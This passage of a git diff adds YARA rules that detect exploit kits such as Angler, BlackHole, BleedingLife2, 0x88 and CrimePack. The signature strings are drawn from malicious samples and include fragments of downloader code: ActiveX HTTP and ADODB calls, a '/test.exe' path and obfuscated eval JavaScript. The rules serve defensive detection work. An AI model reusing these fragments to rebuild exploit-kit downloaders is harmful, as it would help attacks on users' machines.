+	sample_filetype = "unknown"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "69/sj]]o"
+	$string1 = "GJk5Nd"
+	$string2 = "vcs.classu"
+	$string3 = "T<EssB"
+	$string4 = "1vmQmQ"
+	$string5 = "Kf1Ewr"
+	$string6 = "c$WuuuKKu5"
+	$string7 = "m.classPK"
+	$string8 = "chcyih.classPK"
+	$string9 = "hw.class"
+	$string10 = "f';;;;{"
+	$string11 = "vcs.classPK"
+	$string12 = "Vbhf_6"
+condition:
+	12 of them
+}
diff --git a/yara-mikesxrs/codewatchorg/blackhole2_pdf.yar b/yara-mikesxrs/codewatchorg/blackhole2_pdf.yar
new file mode 100644
index 0000000..33e1c19
--- /dev/null
+++ b/yara-mikesxrs/codewatchorg/blackhole2_pdf.yar
@@ -0,0 +1,32 @@
+rule blackhole2_pdf
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-27"
+	description = "BlackHole2 Exploit Kit Detection"
+	hash0 = "d1e2ff36a6c882b289d3b736d915a6cc"
+	sample_filetype = "pdf"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "/StructTreeRoot 5 0 R/Type/Catalog>>"
+	$string1 = "0000036095 00000 n"
+	$string2 = "http://www.xfa.org/schema/xfa-locale-set/2.1/"
+	$string3 = "subform[0].ImageField1[0])/Subtype/Widget/TU(Image Field)/Parent 22 0 R/F 4/P 8 0 R/T<FEFF0049006D00"
+	$string4 = "0000000026 65535 f"
+	$string5 = "0000029039 00000 n"
+	$string6 = "0000029693 00000 n"
+	$string7 = "%PDF-1.6"
+	$string8 = "27 0 obj<</Subtype/Type0/DescendantFonts 28 0 R/BaseFont/KLGNYZ"
+	$string9 = "0000034423 00000 n"
+	$string10 = "0000000010 65535 f"
+	$string11 = ">stream"
+	$string12 = "/Pages 2 0 R%/StructTreeRoot 5 0 R/Type/Catalog>>"
+	$string13 = "19 0 obj<</Subtype/Type1C/Length 23094/Filter/FlateDecode>>stream"
+	$string14 = "0000003653 00000 n"
+	$string15 = "0000000023 65535 f"
+	$string16 = "0000028250 00000 n"
+	$string17 = "iceRGB>>>>/XStep 9.0/Type/Pattern/TilingType 2/YStep 9.0/BBox[0 0 9 9]>>stream"
+	$string18 = "<</Root 1 0 R>>"
+condition:
+	18 of them
+}
diff --git a/yara-mikesxrs/codewatchorg/blackhole_basic.yar b/yara-mikesxrs/codewatchorg/blackhole_basic.yar
new file mode 100644
index 0000000..f0bb7f0
--- /dev/null
+++ b/yara-mikesxrs/codewatchorg/blackhole_basic.yar
@@ -0,0 +1,7 @@
+rule blackhole_basic : exploit_kit
+{
+    strings:
+        $a = /\.php\?.*?\:[a-zA-Z0-9\:]{6,}?\&.*?\&/
+    condition:
+        $a
+}
diff --git a/yara-mikesxrs/codewatchorg/bleedinglife2_adobe_2010_1297_exploit.yar b/yara-mikesxrs/codewatchorg/bleedinglife2_adobe_2010_1297_exploit.yar
new file mode 100644
index 0000000..c9b811e
--- /dev/null
+++ b/yara-mikesxrs/codewatchorg/bleedinglife2_adobe_2010_1297_exploit.yar
@@ -0,0 +1,31 @@
+rule bleedinglife2_adobe_2010_1297_exploit
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "BleedingLife2 Exploit Kit Detection"
+	hash0 = "8179a7f91965731daa16722bd95f0fcf"
+	sample_filetype = "unknown"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "getSharedStyle"
+	$string1 = "currentCount"
+	$string2 = "String"
+	$string3 = "setSelection"
+	$string4 = "BOTTOM"
+	$string5 = "classToInstancesDict"
+	$string6 = "buttonDown"
+	$string7 = "focusRect"
+	$string8 = "pill11"
+	$string9 = "TEXT_INPUT"
+	$string10 = "restrict"
+	$string11 = "defaultButtonEnabled"
+	$string12 = "copyStylesToChild"
+	$string13 = " xmlns:xmpMM"
+	$string14 = "_editable"
+	$string15 = "classToDefaultStylesDict"
+	$string16 = "IMEConversionMode"
+	$string17 = "Scene 1"
+condition:
+	17 of them
+}
diff --git a/yara-mikesxrs/codewatchorg/bleedinglife2_adobe_2010_2884_exploit.yar b/yara-mikesxrs/codewatchorg/bleedinglife2_adobe_2010_2884_exploit.yar
new file mode 100644
index 0000000..d3c5b9e
--- /dev/null
+++ b/yara-mikesxrs/codewatchorg/bleedinglife2_adobe_2010_2884_exploit.yar
@@ -0,0 +1,31 @@
+rule bleedinglife2_adobe_2010_2884_exploit
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "BleedingLife2 Exploit Kit Detection"
+	hash0 = "b22ac6bea520181947e7855cd317c9ac"
+	sample_filetype = "unknown"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "_autoRepeat"
+	$string1 = "embedFonts"
+	$string2 = "KeyboardEvent"
+	$string3 = "instanceStyles"
+	$string4 = "InvalidationType"
+	$string5 = "autoRepeat"
+	$string6 = "getScaleX"
+	$string7 = "RadioButton_selectedDownIcon"
+	$string8 = "configUI"
+	$string9 = "deactivate"
+	$string10 = "fl.controls:Button"
+	$string11 = "_mouseStateLocked"
+	$string12 = "fl.core.ComponentShim"
+	$string13 = "toString"
+	$string14 = "_group"
+	$string15 = "addRadioButton"
+	$string16 = "inCallLaterPhase"
+	$string17 = "oldMouseState"
+condition:
+	17 of them
+}
diff --git a/yara-mikesxrs/codewatchorg/bleedinglife2_jar2.yar b/yara-mikesxrs/codewatchorg/bleedinglife2_jar2.yar
new file mode 100644
index 0000000..2790df3
--- /dev/null
+++ b/yara-mikesxrs/codewatchorg/bleedinglife2_jar2.yar
@@ -0,0 +1,23 @@
+rule bleedinglife2_jar2
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "BleedingLife2 Exploit Kit Detection"
+	hash0 = "2bc0619f9a0c483f3fd6bce88148a7ab"
+	sample_filetype = "unknown"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "META-INF/MANIFEST.MFPK"
+	$string1 = "RequiredJavaComponent.classPK"
+	$string2 = "META-INF/JAVA.SFm"
+	$string3 = "RequiredJavaComponent.class"
+	$string4 = "META-INF/MANIFEST.MF"
+	$string5 = "META-INF/JAVA.DSAPK"
+	$string6 = "META-INF/JAVA.SFPK"
+	$string7 = "5EVTwkx"
+	$string8 = "META-INF/JAVA.DSA3hb"
+	$string9 = "y\\Dw -"
+condition:
+	9 of them
+}
diff --git a/yara-mikesxrs/codewatchorg/bleedinglife2_java_2010_0842_exploit.yar b/yara-mikesxrs/codewatchorg/bleedinglife2_java_2010_0842_exploit.yar
new file mode 100644
index 0000000..44ca426
--- /dev/null
+++ b/yara-mikesxrs/codewatchorg/bleedinglife2_java_2010_0842_exploit.yar
@@ -0,0 +1,23 @@
+rule bleedinglife2_java_2010_0842_exploit
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "BleedingLife2 Exploit Kit Detection"
+	hash0 = "b14ee91a3da82f5acc78abd10078752e"
+	sample_filetype = "unknown"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "META-INF/MANIFEST.MFManifest-Version: 1.0"
+	$string1 = "ToolsDemo.classPK"
+	$string2 = "META-INF/services/javax.sound.midi.spi.MidiDeviceProvider5"
+	$string3 = "Created-By: 1.6.0_22 (Sun Microsystems Inc.)"
+	$string4 = "META-INF/PK"
+	$string5 = "ToolsDemo.class"
+	$string6 = "META-INF/services/PK"
+	$string7 = "ToolsDemoSubClass.classPK"
+	$string8 = "META-INF/MANIFEST.MFPK"
+	$string9 = "ToolsDemoSubClass.classeN"
+condition:
+	9 of them
+}
diff --git a/yara-mikesxrs/codewatchorg/codewatchorg_index.yar b/yara-mikesxrs/codewatchorg/codewatchorg_index.yar
new file mode 100644
index 0000000..eca180e
--- /dev/null
+++ b/yara-mikesxrs/codewatchorg/codewatchorg_index.yar
@@ -0,0 +1,2883 @@
+rule zerox88_js2
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "0x88 Exploit Kit Detection"
+	hash0 = "cad8b652338f5e3bc93069c8aa329301"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "function gSH() {"
+	$string1 = "200 HEIGHT"
+	$string2 = "'sh.js'><\\/SCRIPT>"
+	$string3 = " 2 - 26;"
+	$string4 = "<IFRAME ID"
+	$string5 = ",100);"
+	$string6 = "200></IFRAME>"
+	$string7 = "setTimeout("
+	$string8 = "'about:blank' WIDTH"
+	$string9 = "mf.document.write("
+	$string10 = "document.write("
+	$string11 = "Kasper "
+condition:
+	11 of them
+}
+
+rule zerox88_js3
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "0x88 Exploit Kit Detection"
+	hash0 = "9df0ac2fa92e602ec11bac53555e2d82"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = " new ActiveXObject(szHTTP); "
+	$string1 = " Csa2;"
+	$string2 = "var ADO "
+	$string3 = " new ActiveXObject(szOx88);"
+	$string4 = " unescape("
+	$string5 = "/test.exe"
+	$string6 = " szEtYij;"
+	$string7 = "var HTTP "
+	$string8 = "%41%44%4F%44%42%2E"
+	$string9 = "%4D%65%64%69%61"
+	$string10 = "var szSRjq"
+	$string11 = "%43%3A%5C%5C%50%72%6F%67%72%61%6D"
+	$string12 = "var METHOD "
+	$string13 = "ADO.Mode "
+	$string14 = "%61%79%65%72"
+	$string15 = "%2E%58%4D%4C%48%54%54%50"
+	$string16 = " 7 - 6; HTTP.Open(METHOD, szURL, i-3); "
+condition:
+	16 of them
+}
+
+rule angler_ek_checkpoint
+{
+	meta:
+		description = "Angler EK Exploit Kit - Checkpoint Detection"
+	strings:
+		$str1 = "Jul 2039" nocase
+		$str2 = "Jul 2040" nocase
+	condition:
+		any of them
+}
+
+rule AnglerEKredirector
+{
+   meta:
+      description = "Angler Exploit Kit Redirector"
+      ref = "http://blog.xanda.org/2015/08/28/yara-rule-for-angler-ek-redirector-js/"
+      author = "adnan.shukor@gmail.com"
+      date = "08-July-2015"
+      impact = "5"
+      version = "1"
+   strings:
+      $ekr1 = "<script>var date = new Date(new Date().getTime() + 60*60*24*7*1000);" fullword
+      $ekr2 = "document.cookie=\"PHP_SESSION_PHP="
+      $ekr3 = "path=/; expires=\"+date.toUTCString();</script>" fullword
+      $ekr4 = "<iframe src=" fullword
+      $ekr5 = "</iframe></div>" fullword
+   condition:
+      all of them
+}
+
+rule angler_flash
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "Angler Exploit Kit Detection"
+	hash0 = "8081397c30b53119716c374dd58fc653"
+	sample_filetype = "unknown"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "(9OOSp"
+	$string1 = "r$g@ 0'[A"
+	$string2 = ";R-1qTP"
+	$string3 = "xwBtR4"
+	$string4 = "YbVjxp"
+	$string5 = "ddgXkF"
+	$string6 = ")n'URF"
+	$string7 = "vAzq@W"
+	$string8 = "rOkX$6m<"
+	$string9 = "@@DB}q "
+	$string10 = "TiKV'iV"
+	$string11 = "538x;B"
+	$string12 = "9pEM{d"
+	$string13 = ".SIy/O"
+	$string14 = "ER<Gu,"
+condition:
+	14 of them
+}
+
+rule angler_flash2
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "Angler Exploit Kit Detection"
+	hash0 = "23812c5a1d33c9ce61b0882f860d79d6"
+	sample_filetype = "unknown"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "4yOOUj"
+	$string1 = "CSvI4e"
+	$string2 = "'fwaEnkI"
+	$string3 = "'y4m%X"
+	$string4 = "eOc)a,"
+	$string5 = "'0{Q5<"
+	$string6 = "1BdX;P"
+	$string7 = "D _J)C"
+	$string8 = "-epZ.E"
+	$string9 = "QpRkP."
+	$string10 = "<o/]atel"
+	$string11 = "@B.,X<"
+	$string12 = "5r[c)U"
+	$string13 = "52R7F'"
+	$string14 = "NZ[FV'P"
+condition:
+	14 of them
+}
+
+rule angler_flash4
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "Angler Exploit Kit Detection"
+	hash0 = "dbb3f5e90c05602d92e5d6e12f8c1421"
+	sample_filetype = "unknown"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "_u;cwD;"
+	$string1 = "lhNp74"
+	$string2 = "Y0GQ%v"
+	$string3 = "qjqCb,nx"
+	$string4 = "vn{l{Wl"
+	$string5 = "5j5jz5"
+	$string6 = "a3EWwhM"
+	$string7 = "hVJb/4Aut"
+	$string8 = ",lm4v,"
+	$string9 = ",6MekS"
+	$string10 = "YM.mxzO"
+	$string11 = ";6 -$E"
+	$string12 = "QA%: fy"
+	$string13 = "<@{qvR"
+	$string14 = "b9'$'6l"
+	$string15 = ",x:pQ@-"
+	$string16 = "2Dyyr9"
+condition:
+	16 of them
+}
+
+rule angler_flash5
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "Angler Exploit Kit Detection"
+	hash0 = "9f809272e59ee9ecd71093035b31eec6"
+	sample_filetype = "unknown"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "0k%2{u"
+	$string1 = "\\Pb@(R"
+	$string2 = "ys)dVI"
+	$string3 = "tk4_y["
+	$string4 = "LM2Grx"
+	$string5 = "n}s5fb"
+	$string6 = "jT Nx<hKO"
+	$string7 = "5xL>>}"
+	$string8 = "S%,1{b"
+	$string9 = "C'3g7j"
+	$string10 = "}gfoh]"
+	$string11 = ",KFVQb"
+	$string12 = "LA;{Dx"
+condition:
+	12 of them
+}
+
+rule angler_flash_uncompressed
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "Angler Exploit Kit Detection"
+	hash0 = "2543855d992b2f9a576f974c2630d851"
+	sample_filetype = "unknown"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "DisplayObjectContainer"
+	$string1 = "Xtime2"
+	$string2 = "(HMRTQ"
+	$string3 = "flash.events:EventDispatcher$flash.display:DisplayObjectContainer"
+	$string4 = "_e_-___-__"
+	$string5 = "ZviJbf"
+	$string6 = "random-"
+	$string7 = "_e_-_-_-_"
+	$string8 = "_e_------"
+	$string9 = "817677162"
+	$string10 = "_e_-__-"
+	$string11 = "-[vNnZZ"
+	$string12 = "5:unpad: Invalid padding value. expected ["
+	$string13 = "writeByte/"
+	$string14 = "enumerateFonts"
+	$string15 = "_e_---___"
+	$string16 = "_e_-_-"
+	$string17 = "f(fOJ4"
+condition:
+	17 of them
+}
+
+rule angler_html
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "Angler Exploit Kit Detection"
+	hash0 = "afca949ab09c5583a2ea5b2006236666"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = " A9 3E AF D5 9AQ FA 14 BC F2 A0H EA 7FfJ A58 A3 B1 BD 85 DB F3 B4 B6 FB B2 B4 14 82 19 88 28 D0 EA 2"
+	$string1 = " 2BS 25 26p 20 3F 81 0E D3 9C 84 C7 EC C3 C41M C48 D3 B5N 09 C2z 98 7B 09. DF 05 5EQ DF A3 B6 EE D5 "
+	$string2 = "9 A1Fg A8 837 9A A9 0A 1D 40b02 A5U6 22o 16 DC 5D F5 F5 FA BE FB EDX F0 87 DB C9 7B D6 AC F6D 10 1AJ"
+	$string3 = "24 AA 17 FB B0 96d DBN 05 EE F6 0F 24 D4 D0 C0 E4 96 03 A3 03 20/ 04 40 DB 8F 7FI A6 DC F5 09 0FWV 1"
+	$string4 = "Fq B3 94 E3 3E EFw E6 AA9 3A 5B 9E2 D2 EC AF6 10c 83 0F DF BB FBx AF B4 1BV 5C DD F8 9BR 97v D0U 9EG"
+	$string5 = "29 9B 01E C85 86 B0 09 EC E07 AFCY 19 E5 11 1C 92 E2 DA A9 5D 19P 3A BF AB D6 B3 3FZ B4 92 FF E1 27 "
+	$string6 = "B A9 88 B8 F0 EBLd 8E 08 18 11P EE BFk 15 5BM D6 B7 CEh AF 9C 8F 04 89 88 5E F6 ED 13 8EN1p 86Vk BC "
+	$string7 = "w F4 C8 16pV 22 0A BB EB 83 7D BC 89 B6 E06 8B 2A DC E6 7D CE. 0Dh 18 0A8 5E 60 0C BF A4 00M 00 E3 3"
+	$string8 = "B7 C6 E3 8E DC 3BR 60L 94h D8 AA7k5s 0D 7Fb 8B 80P E0 1BP EBT B5 03zE D0o 2A B97 18 F39 7C 94 99 11 "
+	$string9 = "kY 24 8E 3E 94 84 D2 00 1EB 16 A4 9C 28 24 C1B BB 22 7D 97c F5 BA AD C4 5C 23 5D 3D 5C A7d5 0C F6 EA"
+	$string10 = "08 01 3A 15 3B E0 1A E2 89 5B A2 F4 ED 87O F9l A99 124 27 BF BB A1c 2BW 12Z 07 AA D9 81 B7 A6-5 E2 E"
+	$string11 = " 16 BF A7 0E 00 16 BB 8FB CBn FC D8 9C C7 EA AC C2q 85n A96I D1 9B FC8 BDl B8 3Ajf 7B ADH FD 20 88 F"
+	$string12 = "  ML    "
+	$string13 = " AEJ 3B C7 BFy EF F07X D3 A0 1E B4q C4 BE 3A 10 E7 A0 FE D1Jhp 89 A0sj 1CW 08 D5 F7 C8 C6 D5I 81 D2 "
+	$string14 = "B 24 90 ED CEP C8 C9 9B E5 25 09 C6B- 2B 3B C7 28 C9 C62 EB D3 D5 ED DE A8 7F A9mNs 87 12 82 03 A2 8"
+	$string15 = "A 3A A2L DFa 18 11P 00 7F1 BBbY FA 5E 04 C4 5D 89 F3S DAN B5 CAi 8D 0A AC A8 0A ABI E6 1E 89 BB 07 D"
+	$string16 = "C B5 FD 0B F9 0Ch CE 01 14 8Dp AF 24 E0 E3 D90 DD FF B0 07 2Ad 0B 7D B0 B2 D8 BD E6 A7 CE E1 E4 3E5 "
+	$string17 = "19 0C 85 14r/ 8C F3 84 2B 8C CF 90 93 E2 F6zo C3 D40 A6 94 01 02Q 21G AB B9 CDx 9D FB 21 2C 10 C3 3C"
+	$string18 = "FAV D7y A0 C7Ld4 01 22 EE B0 1EY FAB BA E0 01 24 15g C5 DA6 19 EEsl BF C7O 9F 8B E8 AF 93 F52 00 06 "
+condition:
+	18 of them
+}
+
+rule angler_html2
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "Angler Exploit Kit Detection"
+	hash0 = "6c926bf25d1a8a80ab988c8a34c0102e"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "E 06 E7i 1E 91q 9C D0J 1D 9B 14 E7g 1D DD ECK 20c 40 C6 0C AFR5 3D 03 9Em EC 0CB C9 A9 DFw C9 ADP 5B"
+	$string1 = "14Bc 5C 3Bp CB 2A 12 3D A56 AA 14 87 E3 81 8A 80h 27 1C 3A4 CE 12 AE FAy F0 8A 21 B8I AD 1E B9 2C D1"
+	$string2 = "0J 95 83 CC 1C 95D CAD 1A EA F3 00 E9 DA_ F2 ED 3CM1 A0 01t 1B EE 2C B6AWKq BF CAY FE D8 F2 7C 96 92"
+	$string3 = "A8MTCsn C9 DBu D3 10 A0 D4 AC A9 97 06Rn 01 DAK EFFN ADP AE 0E 8FJd 8F DA B6 25RO 18 2A 00 EA F9 8B "
+	$string4 = "A3 EB C1 CE 1E C4ok C4 19 F2 A7 17 9FCoz B6- C6 25J BB 0B 8C1OZ E4 7B AEz F6 06A 5D C0 D7 E8 FF DB D"
+	$string5 = " 07 DE A3 F8 B0 B3 20V A4 B2 C8 60 BD EEG 95 BB 04 1Ckw A4 80 E6 23 F02 FA 9C 9A 14F BDC 18 BE BD B4"
+	$string6 = "7 D1 B9 9B AC 2AN BA D3 00 A9 1CJ3J C0V 8F 8E FC B6p9 00 E1 01 21j B3 27 FF C3 8E 2B 92 8B DEiUI C3 "
+	$string7 = " 99 2C AF9 F9 3F5 A8 F0 1BU C8e/ 00Q B4 10 DD BC 9D 8A BF B2 17 8F BFd DB D1 B7 E66 21 96 86 1E B2 1"
+	$string8 = "E86 DF9 22Tg E93 9Em 29 0A 5B B5m E2 DCIF D6 D2 F5B CF F7XkRv BE EA A6 C5 82p 5E B3 B4aD B9 3A E0 22"
+	$string9 = " 7C 95.q D6f E8 1AE 17 82T 84 F1/O 82 C2q C7 FE 05C E4 E5W F5 0A E4l 12 3Brt 8A E0 E7 DDJ 1F 1F C4 A"
+	$string10 = "4t 91iE BD 2C 95U E9 1C AE 5B 5B A3 9D B2 F9 0B B5 15S9 AB 9D 94 85 A6 F1 AF B6 FC CAt 91iE BD 2C 95"
+	$string11 = "  </input>"
+	$string12 = "2 D12 93 FD AB 0DKK AEN 40 DA 88 7B FA 3B 18 EE 09 92 ED AF A8b 07 002 0A A3S 04 29 F9 A3 EA BB E9 7"
+	$string13 = "40 C6 0C AFR5E 15 07 EE CBg B3 C6 60G 92tFt D7E 7D F0 C4 A89 29 EC BA E1 D9 3D 23 F0 0B E0o 3E2c B3 "
+	$string14 = "2 A3. A3 F1 D8 D4 A83K 9C AEu FF EA 02 F4 B8 A0 EE C9 7B 15 C1 07D 80 7C 10 864 96 E3 AA F8 99bgve D"
+	$string15 = "C 7D DC 0A E9 0D A1k 85s 9D 24 8C D0k E1 7E 3AH E2 052 D8q 16 FC 96 0AR C0 EC 99K4 3F BE ED CC DBE A"
+	$string16 = "40 DA 88 7B 9E 1A B3 FA DE 90U 5B BD6x 9A 0C 163 AB EA ED B4 B5 98 ADL B7 06 EE E5y B8 9B C9Q 00 E9 "
+	$string17 = "F BF_ F9 AC 5B CC 0B1 7B 60 20c 40 C6 0C AFR5 0B C7D 09 9D E30 14 AC 027 B2 B9B A7 06 E3z DC- B2 60 "
+	$string18 = "0 80 97Oi 8C 85 D2 1Bp CDv 11 05 D4 26 E7 FC 3DlO AE 96 D2 1B 89 7C 16H 11 86 D0 A6 B95 FC 01 C5 8E "
+condition:
+	18 of them
+}
+
+rule angler_jar
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "Angler Exploit Kit Detection"
+	hash0 = "3de78737b728811af38ea780de5f5ed7"
+	sample_filetype = "unknown"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "myftysbrth"
+	$string1 = "classPK"
+	$string2 = "8aoadN"
+	$string3 = "j5/_<F"
+	$string4 = "FXPreloader.class"
+	$string5 = "V4w\\K,"
+	$string6 = "W\\Vr2a"
+	$string7 = "META-INF/MANIFEST.MF"
+	$string8 = "Na8$NS"
+	$string9 = "_YJjB'"
+condition:
+	9 of them
+}
+
+rule angler_js
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "Angler Exploit Kit Detection"
+	hash0 = "482d6c24a824103f0bcd37fa59e19452"
+	sample_filetype = "js-html"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "    2654435769,   Be"
+	$string1 = "DFOMIqka "
+	$string2 = ",  Zydr$>>16"
+	$string3 = "DFOMIqka( 'OPPj_phuPuiwzDFo')"
+	$string4 = "U0BNJWZ9J0vM43TnlNZcWnZjZSelQZlb1HGTTllZTm19emc0dlsYF13GvhQJmTZmbVMxallMdhWW948YWi t    P  b50GW"
+	$string5 = "    auSt;"
+	$string6 = " eval    (NDbMFR "
+	$string7 = "jWUwYDZhNVyMI2TzykEYjWk0MDM5MA%ZQ1TD1gEMzj         3  D       ',"
+	$string8 = "('fE').substr    (2    ,    1 "
+	$string9 = ",  -1 "
+	$string10 = "    )  );Zydr$  [ 1]"
+	$string11 = " 11;PsKnARPQuNNZMP<9;PsKnARPQuNNZMP"
+	$string12 = "new   Array  (2),  Ykz"
+	$string13 = "<script> "
+	$string14 = ");    CYxin "
+	$string15 = "Zydr$    [    1]"
+	$string16 = "var tKTGVbw,auSt, vnEihY, gftiUIdV, XnHs, UGlMHG, KWlqCKLfCV;"
+	$string17 = "reXKyQsob1reXKyQsob3 "
+condition:
+	17 of them
+}
+
+rule blackhole1_jar
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "BlackHole1 Exploit Kit Detection"
+	hash0 = "724acccdcf01cf2323aa095e6ce59cae"
+	sample_filetype = "unknown"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "Created-By: 1.6.0_18 (Sun Microsystems Inc.)"
+	$string1 = "workpack/decoder.classmQ]S"
+	$string2 = "workpack/decoder.classPK"
+	$string3 = "workpack/editor.classPK"
+	$string4 = "xmleditor/GUI.classmO"
+	$string5 = "xmleditor/GUI.classPK"
+	$string6 = "xmleditor/peers.classPK"
+	$string7 = "v(SiS]T"
+	$string8 = ",R3TiV"
+	$string9 = "META-INF/MANIFEST.MFPK"
+	$string10 = "xmleditor/PK"
+	$string11 = "Z[Og8o"
+	$string12 = "workpack/PK"
+condition:
+	12 of them
+}
+/*
+rule blackhole_basic : exploit_kit
+{
+    strings:
+        $str = /\.php\?.*?\:[a-zA-Z0-9\:]{6,}\&.*?\&/
+    condition:
+        $str
+}
+*/
+rule bleedinglife2_adobe_2010_1297_exploit
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "BleedingLife2 Exploit Kit Detection"
+	hash0 = "8179a7f91965731daa16722bd95f0fcf"
+	sample_filetype = "unknown"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "getSharedStyle"
+	$string1 = "currentCount"
+	$string2 = "String"
+	$string3 = "setSelection"
+	$string4 = "BOTTOM"
+	$string5 = "classToInstancesDict"
+	$string6 = "buttonDown"
+	$string7 = "focusRect"
+	$string8 = "pill11"
+	$string9 = "TEXT_INPUT"
+	$string10 = "restrict"
+	$string11 = "defaultButtonEnabled"
+	$string12 = "copyStylesToChild"
+	$string13 = " xmlns:xmpMM"
+	$string14 = "_editable"
+	$string15 = "classToDefaultStylesDict"
+	$string16 = "IMEConversionMode"
+	$string17 = "Scene 1"
+condition:
+	17 of them
+}
+
+rule bleedinglife2_adobe_2010_2884_exploit
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "BleedingLife2 Exploit Kit Detection"
+	hash0 = "b22ac6bea520181947e7855cd317c9ac"
+	sample_filetype = "unknown"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "_autoRepeat"
+	$string1 = "embedFonts"
+	$string2 = "KeyboardEvent"
+	$string3 = "instanceStyles"
+	$string4 = "InvalidationType"
+	$string5 = "autoRepeat"
+	$string6 = "getScaleX"
+	$string7 = "RadioButton_selectedDownIcon"
+	$string8 = "configUI"
+	$string9 = "deactivate"
+	$string10 = "fl.controls:Button"
+	$string11 = "_mouseStateLocked"
+	$string12 = "fl.core.ComponentShim"
+	$string13 = "toString"
+	$string14 = "_group"
+	$string15 = "addRadioButton"
+	$string16 = "inCallLaterPhase"
+	$string17 = "oldMouseState"
+condition:
+	17 of them
+}
+
+rule bleedinglife2_jar2
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "BleedingLife2 Exploit Kit Detection"
+	hash0 = "2bc0619f9a0c483f3fd6bce88148a7ab"
+	sample_filetype = "unknown"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "META-INF/MANIFEST.MFPK"
+	$string1 = "RequiredJavaComponent.classPK"
+	$string2 = "META-INF/JAVA.SFm"
+	$string3 = "RequiredJavaComponent.class"
+	$string4 = "META-INF/MANIFEST.MF"
+	$string5 = "META-INF/JAVA.DSAPK"
+	$string6 = "META-INF/JAVA.SFPK"
+	$string7 = "5EVTwkx"
+	$string8 = "META-INF/JAVA.DSA3hb"
+	$string9 = "y\\Dw -"
+condition:
+	9 of them
+}
+
+rule bleedinglife2_java_2010_0842_exploit
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "BleedingLife2 Exploit Kit Detection"
+	hash0 = "b14ee91a3da82f5acc78abd10078752e"
+	sample_filetype = "unknown"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "META-INF/MANIFEST.MFManifest-Version: 1.0"
+	$string1 = "ToolsDemo.classPK"
+	$string2 = "META-INF/services/javax.sound.midi.spi.MidiDeviceProvider5"
+	$string3 = "Created-By: 1.6.0_22 (Sun Microsystems Inc.)"
+	$string4 = "META-INF/PK"
+	$string5 = "ToolsDemo.class"
+	$string6 = "META-INF/services/PK"
+	$string7 = "ToolsDemoSubClass.classPK"
+	$string8 = "META-INF/MANIFEST.MFPK"
+	$string9 = "ToolsDemoSubClass.classeN"
+condition:
+	9 of them
+}
+
+rule crimepack_jar
+{
+meta:
+	author = "Josh Berry"
+	date = "2016-06-26"
+	description = "CrimePack Exploit Kit Detection"
+	hash0 = "d48e70d538225bc1807842ac13a8e188"
+	sample_filetype = "unknown"
+	yaragenerator = "https://github.com/Xen0ph0n/YaraGenerator"
+strings:
+	$string0 = "r.JM,IM"
+	$string1 = "cpak/Crimepack$1.classPK"
+	$string2 = "cpak/KAVS.classPK"
+	$string3 = "cpak/KAVS.classmQ"
+	$string4 = "cpak/Crimepack$1.classmP[O"
+	$string5 = "META-INF/MANIFEST.MF"
+	$string6 = "META-INF/MANIFEST.MFPK"
+condition:
+	6 of them
+}
+
+rule crimepack_jar3
+{
+meta:
